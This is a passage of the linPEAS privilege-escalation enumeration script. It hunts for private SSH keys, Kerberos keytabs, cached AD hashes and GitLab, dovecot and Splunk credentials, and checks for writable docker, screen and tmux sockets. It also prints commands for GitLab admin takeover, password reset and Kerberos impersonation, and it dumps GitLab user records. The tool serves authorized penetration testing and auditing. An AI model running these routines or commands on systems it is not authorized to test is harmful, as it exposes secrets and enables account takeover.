printf "%s\n" "$PSTORAGE_LOG4SHELL" | while read f; do
echo "$f" | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" | sed -${E} "s,log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6]),${SED_RED},";
done
echo ""
fi
#-- SI) ssh files
print_2title "Searching ssl/ssh files"
if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)"
hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
else
sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)"
hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)"
hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)"
writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
fi
peass{SSH}
grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$TIMEOUT" ]; then
privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)
privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null)
privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null)
privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null)
else
privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) # If there is tons of files linpeas gets frozen here without a timeout
privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null)
fi
else
# If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware
privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null)
fi
if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then
echo ""
print_3title "Possible private SSH keys were found!" | sed -${E} "s,private SSH keys,${SED_RED},"
if [ "$privatekeyfilesetc" ]; then printf "$privatekeyfilesetc\n" | sed -${E} "s,.*,${SED_RED},"; fi
if [ "$privatekeyfileshome" ]; then printf "$privatekeyfileshome\n" | sed -${E} "s,.*,${SED_RED},"; fi
if [ "$privatekeyfilesroot" ]; then printf "$privatekeyfilesroot\n" | sed -${E} "s,.*,${SED_RED},"; fi
if [ "$privatekeyfilesmnt" ]; then printf "$privatekeyfilesmnt\n" | sed -${E} "s,.*,${SED_RED},"; fi
echo ""
fi
if [ "$certsb4_grep" ] || [ "$PSTORAGE_CERTSBIN" ]; then
print_3title "Some certificates were found (out limited):"
printf "$certsb4_grep\n" | head -n 20
printf "$$PSTORAGE_CERTSBIN\n" | head -n 20
echo ""
fi
if [ "$PSTORAGE_CERTSCLIENT" ]; then
print_3title "Some client certificates were found:"
printf "$PSTORAGE_CERTSCLIENT\n"
echo ""
fi
if [ "$PSTORAGE_SSH_AGENTS" ]; then
print_3title "Some SSH Agent files were found:"
printf "$PSTORAGE_SSH_AGENTS\n"
echo ""
fi
if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then
print_3title "Listing SSH Agents"
ssh-add -l
echo ""
fi
if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then
print_3title "Listing gpg keys cached in gpg-agent"
gpg-connect-agent "keyinfo --list" /bye
echo ""
fi
if [ "$writable_agents" ]; then
print_3title "Writable ssh and gpg agents"
printf "%s\n" "$writable_agents"
fi
if [ "$PSTORAGE_SSH_CONFIG" ]; then
print_3title "Some home ssh config file was found"
printf "%s\n" "$PSTORAGE_SSH_CONFIG" | while read f; do ls "$f" | sed -${E} "s,$f,${SED_RED},"; cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,User|ProxyCommand,${SED_RED},"; done
echo ""
fi
if [ "$hostsdenied" ]; then
print_3title "/etc/hosts.denied file found, read the rules:"
printf "$hostsdenied\n"
cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
echo ""
fi
if [ "$hostsallow" ]; then
print_3title "/etc/hosts.allow file found, trying to read the rules:"
printf "$hostsallow\n"
cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
echo ""
fi
if [ "$sshconfig" ]; then
echo ""
echo "Searching inside /etc/ssh/ssh_config for interesting info"
grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
fi
echo ""
peass{PAM Auth}
#-- SI) Passwords inside pam.d
pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#")
if [ "$pamdpass" ] || [ "$DEBUG" ]; then
print_2title "Passwords inside pam.d"
grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
echo ""
fi
peass{NFS Exports}
#-- SI) Kerberos
kadmin_exists="$(command -v kadmin)"
klist_exists="$(command -v klist)"
kinit_exists="$(command -v kinit)"
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
print_2title "Searching kerberos conf files and tickets"
print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory"
if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi
if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g";
else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g";
fi
(env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g"
printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do
if [ -r "$f" ]; then
if echo "$f" | grep -q .k5login; then
echo ".k5login file (users with access to the user who has this file in his home)"
cat "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g"
elif echo "$f" | grep -q keytab; then
echo ""
echo "keytab file found, you may be able to impersonate some kerberos principals and add users or modify passwords"
klist -k "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g"
printf "$(klist -k $f 2>/dev/null)\n" | awk '{print $2}' | while read l; do
if [ "$l" ] && echo "$l" | grep -q "@"; then
printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${SED_RED},g"
# kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid
# We could also try to create a new user or modify a password, but I'm not user if linpeas should do that
fi
done
elif echo "$f" | grep -q krb5.conf; then
ls -l "$f"
cat "$f" 2>/dev/null | sed -${E} "s,default_ccache_name,${SED_RED},";
elif echo "$f" | grep -q kadm5.acl; then
ls -l "$f"
cat "$f" 2>/dev/null
elif echo "$f" | grep -q sssd.conf; then
ls -l "$f"
cat "$f" 2>/dev/null | sed -${E} "s,cache_credentials ?= ?[tT][rR][uU][eE],${SED_RED},";
elif echo "$f" | grep -q secrets.ldb; then
echo "You could use SSSDKCMExtractor to extract the tickets stored here" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},";
ls -l "$f"
elif echo "$f" | grep -q .secrets.mkey; then
echo "This is the secrets file to use with SSSDKCMExtractor" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},";
ls -l "$f"
fi
fi
done
ls -l "/tmp/krb5cc*" "/var/lib/sss/db/ccache_*" "/etc/opt/quest/vas/host.keytab" 2>/dev/null || echo_not_found "tickets kerberos"
klist 2>/dev/null || echo_not_found "klist"
echo ""
fi
peass{FreeIPA}
peass{Knockd}
peass{Kibana}
peass{Elasticsearch}
##-- SI) Logstash
if [ "$PSTORAGE_LOGSTASH" ] || [ "$DEBUG" ]; then
print_2title "Searching logstash files"
printf "$PSTORAGE_LOGSTASH"
printf "%s\n" "$PSTORAGE_LOGSTASH" | while read d; do
if [ -r "$d/startup.options" ]; then
echo "Logstash is running as user:"
cat "$d/startup.options" 2>/dev/null | grep "LS_USER\|LS_GROUP" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed -${E} "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,root,${SED_RED},"
fi
cat "$d/conf.d/out*" | grep "exec\s*{\|command\s*=>" | sed -${E} "s,exec\W*\{|command\W*=>,${SED_RED},"
cat "$d/conf.d/filt*" | grep "path\s*=>\|code\s*=>\|ruby\s*{" | sed -${E} "s,path\W*=>|code\W*=>|ruby\W*\{,${SED_RED},"
done
fi
echo ""
#-- SI) Vault-ssh
if [ "$PSTORAGE_VAULT_SSH_HELPER" ] || [ "$DEBUG" ]; then
print_2title "Searching Vault-ssh files"
printf "$PSTORAGE_VAULT_SSH_HELPER\n"
printf "%s\n" "$PSTORAGE_VAULT_SSH_HELPER" | while read f; do cat "$f" 2>/dev/null; vault-ssh-helper -verify-only -config "$f" 2>/dev/null; done
echo ""
vault secrets list 2>/dev/null
printf "%s\n" "$PSTORAGE_VAULT_SSH_TOKEN" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null
fi
echo ""
#-- SI) Cached AD Hashes
adhashes=$(ls "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null)
if [ "$adhashes" ] || [ "$DEBUG" ]; then
print_2title "Searching AD cached hashes"
ls -l "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null
echo ""
fi
#-- SI) Screen sessions
if ([ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching screen sessions"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
screensess=$(screen -ls 2>/dev/null)
screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null)
screen -v
printf "$screensess\n$screensess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,No Sockets found.*,${C}[32m&${C}[0m,"
find /run/screen -type s -path "/run/screen/S-*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do
echo "Other user screen socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW},"
done
echo ""
fi
#-- SI) Tmux sessions
tmuxdefsess=$(tmux ls 2>/dev/null)
tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep)
tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null)
if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching tmux sessions"$N
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
tmux -V
printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m,"
find /tmp -type s -path "/tmp/tmux*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do
echo "Other user tmux socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW},"
done
echo ""
fi
peass{CouchDB}
peass{Redis}
#-- SI) Dovecot
# Needs testing
dovecotpass=$(grep -r "PLAIN" /etc/dovecot 2>/dev/null)
if [ "$dovecotpass" ] || [ "$DEBUG" ]; then
print_2title "Searching dovecot files"
if [ -z "$dovecotpass" ]; then
echo_not_found "dovecot credentials"
else
printf "%s\n" "$dovecotpass" | while read d; do
df=$(echo $d |cut -d ':' -f1)
dp=$(echo $d |cut -d ':' -f2-)
echo "Found possible PLAIN text creds in $df"
echo "$dp" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null
done
fi
echo ""
fi
peass{Mosquitto}
peass{Neo4j}
AWSVAULT="$(command -v aws-vault 2>/dev/null)"
if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then
print_2title "Check aws-vault"
aws-vault list
fi
peass{Cloud Credentials}
peass{Cloud Init}
peass{CloudFlare}
peass{Erlang}
peass{GMV Auth}
peass{IPSec}
peass{IRSSI}
peass{Keyring}
peass{Filezilla}
peass{Backup Manager}
##-- SI) passwd files (splunk)
SPLUNK_BIN="$(command -v splunk 2>/dev/null)"
if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then
print_2title "Searching uncommon passwd files (splunk)"
if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi
printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do
if [ -f "$f" ] && ! [ -x "$f" ]; then
echo "passwd file: $f" | sed "s,$f,${SED_RED},"
cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED},"
fi
done
echo ""
fi
if [ "$PSTORAGE_KCPASSWORD" ] || [ "$DEBUG" ]; then
print_2title "Analyzing kcpassword files"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#kcpassword"
printf "%s\n" "$PSTORAGE_KCPASSWORD" | while read f; do
echo "$f" | sed -${E} "s,.*,${SED_RED},"
base64 "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
done
echo ""
fi
##-- SI) Gitlab
if [ "$(command -v gitlab-rails)" ] || [ "$(command -v gitlab-backup)" ] || [ "$PSTORAGE_GITLAB" ] || [ "$DEBUG" ]; then
print_2title "Searching GitLab related files"
# Check gitlab-rails
if [ "$(command -v gitlab-rails)" ]; then
echo "gitlab-rails was found. Trying to dump users..."
gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }' | sed -${E} "s,email|password,${SED_RED},"
echo "If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner 'user = User.find_by(email: \"youruser@example.com\"); user.admin = TRUE; user.save!'"
echo "Alternatively, you could change the password of any user by running: gitlab-rails runner 'user = User.find_by(email: \"admin@example.com\"); user.password = \"pass_peass_pass\"; user.password_confirmation = \"pass_peass_pass\"; user.save!'"
echo ""
fi
if [ "$(command -v gitlab-backup)" ]; then
echo "If you have enough privileges, you can create a backup of all the repositories inside gitlab using 'gitlab-backup create'"
echo "Then you can get the plain-text with something like 'git clone \@hashed/19/23/14348274[...]38749234.bundle'"
echo ""
fi
# Check gitlab files
printf "%s\n" "$PSTORAGE_GITLAB" | sort | uniq | while read f; do
if echo $f | grep -q secrets.yml; then
echo "Found $f" | sed "s,$f,${SED_RED},"
cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#"
elif echo $f | grep -q gitlab.yml; then
echo "Found $f" | sed "s,$f,${SED_RED},"
cat "$f" | grep -A 4 "repositories:"
elif echo $f | grep -q gitlab.rb; then
echo "Found $f" | sed "s,$f,${SED_RED},"
cat "$f" | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,email|user|password,${SED_RED},"
fi
echo ""
done
echo ""
fi
peass{Github}
peass{Svn}
peass{PGP-GPG}
peass{Cache Vi}
peass{Wget}
##-- SI) containerd installed
if ! [ "$SEARCH_IN_FOLDER" ]; then
containerd=$(command -v ctr)
if [ "$containerd" ] || [ "$DEBUG" ]; then
print_2title "Checking if containerd(ctr) is available"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
if [ "$containerd" ]; then
echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
ctr image list 2>&1
fi
echo ""
fi
fi
##-- SI) runc installed
if ! [ "$SEARCH_IN_FOLDER" ]; then
runc=$(command -v runc)
if [ "$runc" ] || [ "$DEBUG" ]; then
print_2title "Checking if runc is available"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
if [ "$runc" ]; then
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
fi
echo ""
fi
fi
#-- SI) Docker
if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then
print_2title "Searching docker files (limit 70)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation"
printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do
ls -l "$f" 2>/dev/null
if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then
echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
fi
done
echo ""
fi
peass{Kubernetes}
peass{Firefox}
peass{Chrome}
peass{Autologin}
#-- SI) S/Key athentication
if (grep auth= /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q skey) || [ "$DEBUG" ] ; then
print_2title "S/Key authentication"
printf "System supports$RED S/Key$NC authentication\n"
if ! [ -d /etc/skey/ ]; then
echo "${GREEN}S/Key authentication enabled, but has not been initialized"
elif ! [ "$IAMROOT" ] && [ -w /etc/skey/ ]; then
echo "${RED}/etc/skey/ is writable by you"
ls -ld /etc/skey/
else
ls -ld /etc/skey/ 2>/dev/null
fi
fi
echo ""
#-- SI) YubiKey athentication
if (grep "auth=" /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q yubikey) || [ "$DEBUG" ]; then
print_2title "YubiKey authentication"
printf "System supports$RED YubiKey$NC authentication\n"
if ! [ "$IAMROOT" ] && [ -w /var/db/yubikey/ ]; then
echo "${RED}/var/db/yubikey/ is writable by you"
ls -ld /var/db/yubikey/
else
ls -ld /var/db/yubikey/ 2>/dev/null
fi
echo ""
fi
peass{SNMP}
peass{Pypirc}
peass{Postfix}
peass{Ldaprc}
peass{Env}
peass{Msmtprc}
peass{Keepass}
peass{FTP}
peass{EXTRA_SECTIONS}
peass{Interesting logs}
peass{Windows}
peass{Other Interesting}
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
print_2title "Checking leaks in git repositories"
printf "%s\n" "$PSTORAGE_GITHUB" | while read f; do
if echo "$f" | grep -Eq ".git$"; then
git_dirname=$(dirname "$f")
if [ "$MACPEAS" ]; then
execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_MACOS" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
else
execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_LINUX" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
fi
fi
done
fi

20
linPEAS/builder/linpeas_parts/7_software_information/1_Useful_software.sh Normal file
View File

@ -0,0 +1,20 @@
# Title: Software Information - Useful Software
# ID: SI_Useful_software
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Useful Software
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables: $SEARCH_IN_FOLDER, $USEFUL_SOFTWARE
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Useful software"
for t in $USEFUL_SOFTWARE; do command -v "$t" || echo -n ''; done
echo ""
fi

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